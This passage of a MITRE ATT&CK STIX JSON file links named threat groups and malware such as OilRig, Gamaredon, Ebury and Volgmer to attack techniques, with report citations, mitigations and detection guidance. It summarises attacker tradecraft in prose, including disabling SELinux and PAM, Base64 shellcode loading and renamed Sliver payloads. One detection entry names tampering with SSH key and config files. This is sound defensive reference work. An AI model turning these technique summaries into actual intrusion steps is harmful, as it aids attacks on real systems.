Introducing Hi-Zor RAT. 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(2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."}], "modified": "2020-07-27T18:45:39.466Z", "description": "[StrongPity](https://attack.mitre.org/software/S0491) can identify the IP address of a compromised host.(Citation: Talos Promethium June 2020)", "relationship_type": "uses", "source_ref": "malware--20945359-3b39-4542-85ef-08ecb4e1c174", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--351bb2c4-db16-4c82-9539-3851dd61c608", "type": "relationship", "created": "2020-06-01T14:43:27.401Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint TA505 October 2019", "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader", "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}], "modified": "2020-06-01T14:43:27.401Z", "description": "(Citation: Proofpoint TA505 October 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", "target_ref": "malware--099ecff2-41b8-436d-843c-038a9aa9aa69", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--352190f6-e0e6-44c9-9fd2-74179ce6eb57", "type": "relationship", "created": "2021-02-10T18:41:29.152Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Ebury Oct 2017", "url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/", "description": "Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021."}], "modified": "2021-02-10T18:41:29.152Z", "description": "[Ebury](https://attack.mitre.org/software/S0377) can disable SELinux Role-Based Access Control and deactivate PAM modules.(Citation: ESET Ebury Oct 2017)", "relationship_type": "uses", "source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--35228466-b834-474f-8657-a3492a3579b6", "created": "2022-08-03T03:28:35.977Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "SpecterOps Certified Pre Owned", "description": "Schroeder, W. & Christensen, L. (2021, June 22). Certified Pre-Owned - Abusing Active Directory Certificate Services. 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Harden abusable CA settings and attributes.\n\nFor example, consider disabling the usage of AD CS certificate SANs within relevant authentication protocol settings to enforce strict user mappings and prevent certificates from authenticating as other identifies.(Citation: SpecterOps Certified Pre Owned) Also consider enforcing CA Certificate Manager approval for the templates that include SAN as an issuance requirement.", "relationship_type": "mitigates", "source_ref": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462", "target_ref": "attack-pattern--7de1f7ac-5d0c-4c9c-8873-627202205331", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3524e5ae-332f-4e53-8129-e638961cc38e", "type": "relationship", "created": "2019-09-16T19:41:10.066Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.", "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/", "source_name": "Security Intelligence More Eggs Aug 2019"}, {"source_name": "ESET EvilNum July 2020", "url": "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", "description": "Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021."}], "modified": "2021-01-27T21:40:23.718Z", "description": "[More_eggs](https://attack.mitre.org/software/S0284) has used cmd.exe for execution.(Citation: Security Intelligence More Eggs Aug 2019)(Citation: ESET EvilNum July 2020)", "relationship_type": "uses", "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--352953e9-c1ca-4d25-84b6-eb05a012b2e9", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html", "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. 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(2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}], "modified": "2022-03-22T14:31:39.342Z", "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has deobfuscated Base64-encoded shellcode strings prior to loading them.(Citation: Microsoft NICKEL December 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--352e990d-48be-4d1a-bd8a-bc27d641aa1f", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/", "description": "Falcone, R. and Lee, B.. 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Retrieved May 3, 2017.", "source_name": "Palo Alto OilRig May 2016"}], "modified": "2019-09-04T22:55:41.325Z", "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used a CHM payload to load and execute another malicious file once delivered to a victim.(Citation: Palo Alto OilRig May 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", "target_ref": "attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--35305a51-69ac-4fe2-b9e2-3c9a296e9f9b", "type": "relationship", "created": "2019-04-19T15:31:24.181Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT HOPLIGHT Apr 2019", "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A", "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019."}], "modified": "2019-09-09T19:15:45.674Z", "description": "(Citation: US-CERT HOPLIGHT Apr 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--35317fb7-9426-4f6e-9c78-64bb7a2da67f", "created": "2023-04-04T22:34:47.949Z", "revoked": false, "external_references": [{"source_name": "SentinelLabs Metador Technical Appendix Sept 2022", "description": "SentinelLabs. (2022, September 22). Metador Technical Appendix. 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Retrieved August 19, 2016.", "source_name": "Palo Alto Networks BBSRAT"}], "modified": "2020-03-30T01:56:32.914Z", "description": "[BBSRAT](https://attack.mitre.org/software/S0127) can compress data with ZLIB prior to sending it back to the C2 server.(Citation: Palo Alto Networks BBSRAT)", "relationship_type": "uses", "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", "target_ref": "attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3537c31f-bd6f-4cad-97ac-4ec3d8a9478b", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto OilRig May 2016", "description": "Falcone, R. and Lee, B.. (2016, May 26). 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Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. 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Not allowing unsigned applications from being run may also mitigate some risk.", "relationship_type": "mitigates", "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", "target_ref": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--354551e4-c6aa-495a-aba5-b7437c485d34", "type": "relationship", "created": "2021-03-24T14:10:06.717Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 TA551 Jan 2021", "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/", "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021."}], "modified": "2021-03-25T15:34:04.468Z", "description": "[TA551](https://attack.mitre.org/groups/G0127) has prompted users to enable macros within spearphishing attachments to install malware.(Citation: Unit 42 TA551 Jan 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--35483df6-413c-4c77-b1b9-0acd14f77775", "type": "relationship", "created": "2022-03-30T14:26:51.874Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.874Z", "description": "Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account.", "source_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", "target_ref": "attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--354b4d10-aa58-462e-ba7e-c99d1da51f46", "created": "2022-03-30T14:26:51.833Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-18T16:41:06.719Z", "description": "Monitor executed commands and arguments for suspicious commands to modify accounts or account settings (including files such as the `authorized_keys` or `/etc/ssh/sshd_config`).\n\nMonitor executed commands and arguments of suspicious commands (such as `Add-MailboxPermission`) that may be indicative of modifying the permissions of Exchange and other related service settings.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--354fe9c0-2b9b-43f9-98a0-ae0ee1515d4d", "type": "relationship", "created": "2020-07-27T17:47:34.017Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Promethium June 2020", "url": "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html", "description": "Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."}, {"source_name": "Bitdefender StrongPity June 2020", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf", "description": "Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."}], "modified": "2020-07-27T18:55:17.727Z", "description": "[StrongPity](https://attack.mitre.org/software/S0491) can exfiltrate collected documents through C2 channels.(Citation: Talos Promethium June 2020)(Citation: Bitdefender StrongPity June 2020)", "relationship_type": "uses", "source_ref": "malware--20945359-3b39-4542-85ef-08ecb4e1c174", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3551c43c-b1b9-432b-8c3a-cf0265ca74ff", "type": "relationship", "created": "2021-07-06T21:52:00.353Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "win10_asr", "url": "https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction", "description": "Microsoft. (2021, July 2). Use attack surface reduction rules to prevent malware infection. Retrieved June 24, 2021."}], "modified": "2022-01-05T21:40:28.482Z", "description": "On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent executable files from running unless they meet a prevalence, age, or trusted list criteria and to prevent Office applications from creating potentially malicious executable content by blocking malicious code from being written to disk. Note: cloud-delivered protection must be enabled to use certain rules. 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(2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", "source_name": "Nccgroup Emissary Panda May 2018"}], "modified": "2021-03-29T19:43:26.850Z", "description": "A [Threat Group-3390](https://attack.mitre.org/groups/G0027) tool can read and decrypt stored Registry values.(Citation: Nccgroup Emissary Panda May 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--355d8ef4-ed79-49e4-b287-feb525d33ac4", "type": "relationship", "created": "2021-06-21T15:42:04.353Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist APT10 March 2021", "url": "https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/", "description": "GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}], "modified": "2021-06-22T15:32:10.454Z", "description": "(Citation: Securelist APT10 March 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", "target_ref": "malware--7c58fff0-d206-4db1-96b1-e3a9e0e320b9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--355eb66e-dc0a-44d4-b31d-3dbe7570a0d2", "type": "relationship", "created": "2019-06-24T13:50:29.667Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/", "description": "Nunez, N. (2017, August 9). Moving Beyond EMET II \u2013 Windows Defender Exploit Guard. Retrieved March 12, 2018.", "source_name": "TechNet Moving Beyond EMET"}, {"url": "https://en.wikipedia.org/wiki/Control-flow_integrity", "description": "Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.", "source_name": "Wikipedia Control Flow Integrity"}], "modified": "2020-03-29T20:00:47.010Z", "description": "Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.", "relationship_type": "mitigates", "source_ref": "course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3", "target_ref": "attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--35615dc6-1793-4d6a-b778-b3f0ab6e46dc", "type": "relationship", "created": "2021-10-13T21:52:28.486Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Nomadic Octopus 2018", "url": "https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf", "description": "Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021."}], "modified": "2021-10-14T14:09:00.802Z", "description": "[Nomadic Octopus](https://attack.mitre.org/groups/G0133) used <code>cmd.exe /c</code> within a malicious macro.(Citation: ESET Nomadic Octopus 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--fed4f0a2-4347-4530-b0f5-6dfd49b29172", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--35624bc2-caf0-4124-88e8-6f60ae52ed9c", "type": "relationship", "created": "2020-05-19T20:39:12.502Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Gamaredon April 2020", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/", "description": "Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020."}, {"source_name": "ESET Gamaredon June 2020", "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/", "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."}, {"source_name": "CERT-EE Gamaredon January 2021", "url": "https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf", "description": "CERT-EE. (2021, January 27). Gamaredon Infection: From Dropper to Entry. Retrieved February 17, 2022."}, {"source_name": "Microsoft Actinium February 2022", "url": "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/", "description": "Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."}, {"source_name": "Unit 42 Gamaredon February 2022", "url": "https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/", "description": "Unit 42. (2022, February 3). Russia\u2019s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022."}, {"source_name": "Secureworks IRON TILDEN Profile", "url": "https://www.secureworks.com/research/threat-profiles/iron-tilden", "description": "Secureworks CTU. (n.d.). IRON TILDEN. Retrieved February 24, 2022."}], "modified": "2022-02-24T20:57:00.449Z", "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has delivered spearphishing emails with malicious attachments to targets.(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)(Citation: CERT-EE Gamaredon January 2021)(Citation: Microsoft Actinium February 2022)(Citation: Unit 42 Gamaredon February 2022)(Citation: Secureworks IRON TILDEN Profile)", "relationship_type": "uses", "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--35646501-5bff-41bb-a50f-c4f3b1d326f9", "created": "2023-05-24T18:26:26.886Z", "revoked": false, "external_references": [{"source_name": "Mandiant Suspected Turla Campaign February 2023", "description": "Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.", "url": "https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-05-24T18:26:26.886Z", "description": "(Citation: Mandiant Suspected Turla Campaign February 2023)", "relationship_type": "uses", "source_ref": "campaign--c89fa3ff-4773-4daf-8aec-d8f43f10116e", "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--3564dc8e-09d0-4855-8a90-d4c28a9488e5", "created": "2023-02-14T20:59:15.805Z", "revoked": false, "external_references": [{"source_name": "Cisco Talos Avos Jun 2022", "description": "Venere, G. Neal, C. (2022, June 21). Avos ransomware group expands with new attack arsenal. Retrieved January 11, 2023.", "url": "https://blog.talosintelligence.com/avoslocker-new-arsenal/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-14T20:59:15.805Z", "description": "For [C0018](https://attack.mitre.org/campaigns/C0018), the threat actors renamed a [Sliver](https://attack.mitre.org/software/S0633) payload to `vmware_kb.exe`.(Citation: Cisco Talos Avos Jun 2022)", "relationship_type": "uses", "source_ref": "campaign--519ee082-8ab6-439b-988f-a8a3f02c8d30", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3565539f-7ebf-4288-8422-5212c774821b", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT30", "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}], "modified": "2020-03-17T01:57:57.398Z", "description": "[NETEAGLE](https://attack.mitre.org/software/S0034) is capable of reading files over the C2 channel.(Citation: FireEye APT30)", "relationship_type": "uses", "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--356744ba-4a64-4ada-9c95-6cdc4e539614", "created": "2022-09-30T12:38:39.154Z", "revoked": false, "external_references": [{"source_name": "DFIR Conti Bazar Nov 2021", "description": "DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.", "url": "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-30T12:38:39.154Z", "description": "For [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used DLL files that had invalid certificates.(Citation: DFIR Conti Bazar Nov 2021)", "relationship_type": "uses", "source_ref": "campaign--78068e68-4124-4243-b6f4-76e4e5be8a06", "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--35697909-4c19-4799-a5ac-3153750619f8", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "US-CERT Volgmer 2 Nov 2017", "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF"}, {"source_name": "US-CERT Volgmer Nov 2017", "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.", "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B"}, {"source_name": "Symantec Volgmer Aug 2014", "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.", "url": "https://web.archive.org/web/20181126143456/https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T20:40:35.185Z", "description": "[Volgmer](https://attack.mitre.org/software/S0180) can gather system information, the computer name, OS version, drive and serial information from the victim's machine.(Citation: US-CERT Volgmer Nov 2017)(Citation: US-CERT Volgmer 2 Nov 2017)(Citation: Symantec Volgmer Aug 2014)", "relationship_type": "uses", "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--356aa4b0-e6c2-4ef7-a3b2-837c25c283b3", "created": "2022-09-21T17:04:31.204Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Bitdefender FunnyDream Campaign November 2020", "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-21T17:04:57.782Z", "description": "The [Chinoxy](https://attack.mitre.org/software/S1041) dropping function can initiate decryption of its config file.(Citation: Bitdefender FunnyDream Campaign November 2020)", "relationship_type": "uses", "source_ref": "malware--0b639373-5f03-430e-b8f9-2fe8c8faad8e", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--356cef7e-2994-4e52-8985-e046e8cc5513", "type": "relationship", "created": "2021-03-19T21:04:01.259Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Valak May 2020", "url": "https://www.cybereason.com/blog/valak-more-than-meets-the-eye", "description": "Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020."}, {"source_name": "Unit 42 Valak 